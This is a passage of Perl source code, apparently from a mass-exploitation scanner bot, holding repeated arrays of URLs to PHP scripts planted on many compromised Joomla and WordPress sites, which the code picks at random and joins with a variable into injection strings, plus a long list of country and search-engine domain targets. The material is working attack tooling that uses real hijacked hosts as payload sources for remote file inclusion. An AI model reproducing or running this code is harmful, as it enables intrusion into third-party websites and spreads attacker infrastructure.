"http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random5 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random6 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random7 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random8 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random9 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random10 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my $full = $random[rand(scalar(@random))]; my $full1 = $random1[rand(scalar(@random1))]; my $full2 = $random2[rand(scalar(@random2))]; my $full3 = $random3[rand(scalar(@random3))]; my $full4 = $random4[rand(scalar(@random4))]; my $full5 = $random5[rand(scalar(@random5))]; my $full6 = $random6[rand(scalar(@random6))]; my $full7 = $random7[rand(scalar(@random7))]; my $full8 = $random8[rand(scalar(@random8))]; my $full9 = $random9[rand(scalar(@random9))]; my $full10 = $random10[rand(scalar(@random10))]; my $jack = "".$full.$pgfa.""; my $jackx = "".$full.$pgfa.""; my $jack1 = "".$full1.$pgfa.""; my $jack2 = "".$full2.$pgfa.""; my $jack3 = "".$full3.$pgfa.""; my $jack4 = "".$full4.$pgfa.""; my $jack5 = "".$full5.$pgfa.""; my $jack6 = "".$full6.$pgfa.""; my $jack7 = "".$full7.$pgfa.""; my $jack8 = "".$full8.$pgfa.""; my $jack9 = "".$full9.$pgfa.""; my $jack10 = "".$full10.$pgfa.""; my $jackx1 = "".$full1.$pgfa.""; my $jackx2 = "".$full2.$pgfa.""; my $jackx3 = "".$full3.$pgfa.""; my $jackx4 = "".$full4.$pgfa.""; my $jackx5 = "".$full5.$pgfa.""; my $jackx6 = "".$full6.$pgfa.""; my $jackx7 = "".$full7.$pgfa.""; my $jackx8 = "".$full8.$pgfa.""; my $jackx9 = "".$full9.$pgfa.""; my $jackx10 = "".$full10.$pgfa.""; my $engine = "UAE,Myanmar,Argentina,Austria,Australia,Brazil,Canada,Chili,CoMersil,Czech,Germany,Denmark,Spain,Europe,France,Hungary,Indonesia,Israel,India,Info,Iran,Italy,Japan,Korea,Mexico,Malaysia,Network,Netherlands,Organization,Philippines,Polan,Romania,Russian,Thailand,Ukraine,England,USA,Slovenia,Belgium,Bussines,SouthAfrica,Vietnam,Tuvalu,Cocos,Turky,Asia,Serbia,Singapore,Taiwan,Sweden,Pakistan,Norway,Montenegro,Greece,Education,Goverment,Kazakhstan,Afganistan,Albania,Algeria,Angola,Armenia,Azerbaijan,Bahrain,Bangladesh,Belarus,Bhutan,Bolivia,Bosnia,Bulgaria,Brunei,Cambodia,Cameroon,Christmas,CostaRika,Croatia,Cuba,Cyprus,Dominican,Equador,Egypt,Estonia,Finland,Georgia,Ghana,Grenada,Honduras,Hongkong,Iceland,Ireland,Kenya,Kuwait,Laos,Latvia,Liberia,Libyan,Lithuania,Macedonia,Malta,Mongolia,Mozambique,Namibia,Nauru,Nepal,NewZealand,Nigeria,Paraguay,Peru,Portugal,PuertoRico,Qatar,SaintLucia,Samoa,SaudiArabia,Senegal,Slovakia,Srilanka,Swaziland,Tajikistan,Tanzania,Tokelau,Tonga,Tunisia,Uruguay,Uzbekistan,Venezuela,Yemen,Yugoslavia,Zambia,Uganda,Trinidad,Zimbabwe,GooAC,GooAD,GooAE,GooAF,GooAG,GooAL,GooAM,GooAN,GooAT,GooAR,GooAU,GooBE,GooHU,GooOrG,GooCoM,GooNeT,GooPL,GooIT,GooID,GooMY,GooES,GooUK,GooUS,GooJP,GooXXX,GooTEL,GooTV,GooCC,GooMIL,GooASIA,GooNAME,GooPRO,GooTRAVEL,GooJOBS,GooMOBI,GooAERO,GooCAT,GooCOOP,GooEDU,GooGOV,GooMUSEUM,GooKR,GooDE,GooDK,GooCA,GooBR,GooRO,GooRU,GooNL,GooInfO,GooFR,GooIN,GooMX,GooCZ,GooCL,GooUA,GooCN,GooIR,GooTH,GooEU,GooPH,GooIL,GooIM,GooSI,GooBIZ,GooAS,GooAI,GooAG,GooAZ,GooBH,GooBD,GooBZ,GooBO,GooBA,GooBW,GooVG,GooBG,GooBI,GooCO,GooCD,GooCG,GooCK,GooCR,GooHR,GooCU,GooCI,GooDJ,GooDM,GooDO,GooEC,GooEG,GooSV,GooEE,GooET,GooFJ,GooFI,GooGM,GooGI,GooGR,GooGL,GooGT,GooGG,GooHT,GooHN,GooHK,GooIS,GooIE,GooIM,GooJE,GooJO,GooKZ,GooKE,GooKG,GooLV,GooLS,GooLY,GooLI,Go